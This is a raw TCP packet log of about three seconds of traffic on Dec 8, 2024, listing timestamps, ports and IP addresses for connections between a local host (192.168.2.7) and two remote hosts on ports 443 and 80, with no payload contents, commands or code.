Dec 8, 2024 00:48:38.233845949 CET	443	49782	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.233900070 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.234076977 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.234080076 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.234105110 CET	443	49782	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.234124899 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.234133959 CET	443	49782	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.234155893 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.234210014 CET	49781	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.234292030 CET	49781	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.234311104 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.234321117 CET	49781	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.234327078 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.237097025 CET	49785	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.237142086 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.237159967 CET	49786	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.237195969 CET	49785	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.237198114 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.237251997 CET	49786	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.237375975 CET	49786	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.237387896 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.237392902 CET	49785	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.237407923 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.421943903 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.421996117 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.422043085 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.422319889 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.422319889 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.422346115 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.422354937 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.425168037 CET	49787	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.425192118 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.425252914 CET	49787	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.425453901 CET	49787	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.425467014 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.427834034 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.427897930 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.427942991 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.428020000 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.428035975 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.428047895 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.428052902 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.429577112 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.429632902 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.429683924 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.429831982 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.429846048 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.429856062 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.429861069 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.430716991 CET	49788	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.430748940 CET	443	49788	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.430802107 CET	49788	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.430938005 CET	49788	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.430947065 CET	443	49788	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.431854010 CET	49789	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.431879044 CET	443	49789	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.431936026 CET	49789	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.432064056 CET	49789	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.432075977 CET	443	49789	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:39.533468008 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:39.533870935 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:39.960886955 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:39.960983992 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:39.961749077 CET	49786	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:39.961751938 CET	49785	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:39.961777925 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:39.961779118 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:39.962220907 CET	49785	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:39.962225914 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:39.962253094 CET	49786	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:39.962263107 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:39.980640888 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.100116014 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.140763998 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.144017935 CET	49787	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.144051075 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.144469023 CET	49787	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.144479036 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.152955055 CET	443	49788	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.153531075 CET	443	49789	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.153943062 CET	49788	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.153950930 CET	443	49788	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.154398918 CET	49788	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.154406071 CET	443	49788	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.154530048 CET	49789	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.154571056 CET	443	49789	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.155215979 CET	49789	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.155227900 CET	443	49789	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.396044970 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.396122932 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.396199942 CET	49785	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.400456905 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.400531054 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.400595903 CET	49786	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.417332888 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.417423964 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.417501926 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.417584896 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.417630911 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.417678118 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.417692900 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.417721987 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.417732000 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.417913914 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.417946100 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.417953014 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.417972088 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.417983055 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.417987108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.418010950 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.418025017 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.418433905 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.419261932 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.426044941 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.427249908 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.466315031 CET	49785	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.466357946 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.466377974 CET	49785	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.466384888 CET	443	49785	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.476197958 CET	49786	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.476243973 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.476262093 CET	49786	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.476269960 CET	443	49786	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.536962032 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.539297104 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.575447083 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.575526953 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.575617075 CET	49787	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.587795973 CET	443	49789	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.587865114 CET	443	49789	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.587994099 CET	49789	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.589035034 CET	443	49788	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.589092016 CET	443	49788	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.591258049 CET	49788	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.609397888 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.609416008 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.609477043 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.613303900 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.614846945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.614905119 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.614918947 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.614945889 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.623060942 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.623157024 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.623244047 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.631352901 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.631472111 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.631556034 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.639539957 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.639626980 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.639693975 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.647809029 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.647902966 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.647968054 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.656034946 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.656092882 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.656099081 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.656142950 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.664300919 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.664403915 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.664448023 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.672548056 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.672615051 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.672626972 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.672666073 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.673918009 CET	49787	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.673945904 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.673958063 CET	49787	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.673964977 CET	443	49787	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.675065994 CET	49789	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.675088882 CET	443	49789	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.675849915 CET	49788	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.675872087 CET	443	49788	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.678297997 CET	49790	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.678328037 CET	443	49790	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.678473949 CET	49790	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.679919004 CET	49790	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.679940939 CET	443	49790	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.680730104 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.680783987 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.680838108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.680876970 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.681210995 CET	49791	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.681251049 CET	443	49791	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.681332111 CET	49791	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.681505919 CET	49791	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.681518078 CET	443	49791	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.685282946 CET	49792	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.685322046 CET	443	49792	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.685374022 CET	49792	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.686167955 CET	49793	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.686196089 CET	443	49793	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.686264992 CET	49793	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.686919928 CET	49792	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.686934948 CET	443	49792	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.687155008 CET	49793	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.687169075 CET	443	49793	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.688131094 CET	49794	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.688143969 CET	443	49794	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.688196898 CET	49794	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.688967943 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.689023018 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.689045906 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.689078093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.691416025 CET	49794	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:40.691423893 CET	443	49794	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:40.801170111 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.801275969 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.801276922 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.801310062 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.803548098 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.803600073 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.803656101 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.803742886 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.808329105 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.808370113 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.810075998 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.810116053 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.810211897 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.810339928 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.814872980 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.814991951 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.815006018 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.815036058 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.819670916 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.819760084 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.819773912 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.819817066 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.824317932 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.824364901 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.824403048 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.824445009 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.828927994 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.828983068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.829003096 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.829042912 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.833570957 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.833655119 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.833698034 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.833786011 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.838191986 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.838246107 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.838279009 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.838323116 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.842802048 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.842849016 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.842911005 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.842971087 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.847454071 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.847469091 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.847513914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.852061033 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.852165937 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.852171898 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.852204084 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.856673002 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.856731892 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.856774092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.856815100 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.861299992 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.861375093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.861418962 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.861466885 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.865916967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.865994930 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.866008043 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.866099119 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.870563030 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.870618105 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.870671034 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.870754004 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.875178099 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.875225067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.875324965 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.875370026 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.879806042 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.879863024 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.879909992 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.879950047 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.884433985 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.884494066 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.884527922 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.884567976 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.889045000 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.889127970 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.920787096 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.920840979 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.920887947 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.920928001 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.923078060 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.923127890 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.993221998 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.993257046 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.993315935 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.993349075 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.994599104 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.994653940 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.994688034 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.994736910 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.998207092 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.998264074 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:40.998276949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:40.998333931 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.002008915 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.002059937 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.002110958 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.002157927 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.005857944 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.005984068 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.006052971 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.009644985 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.009671926 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.009728909 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.013267040 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.013371944 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.013437033 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.016700983 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.016801119 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.016856909 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.020292044 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.020334959 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.020385027 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.023721933 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.023811102 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.023864985 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.027194977 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.027246952 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.027297974 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.027344942 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.030745029 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.030795097 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.030936956 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.030982018 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.034250975 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.034307003 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.034387112 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.034431934 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:41.037877083 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.038029909 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:41.038080931 CET	49784	80	192.168.2.7	185.215.113.206
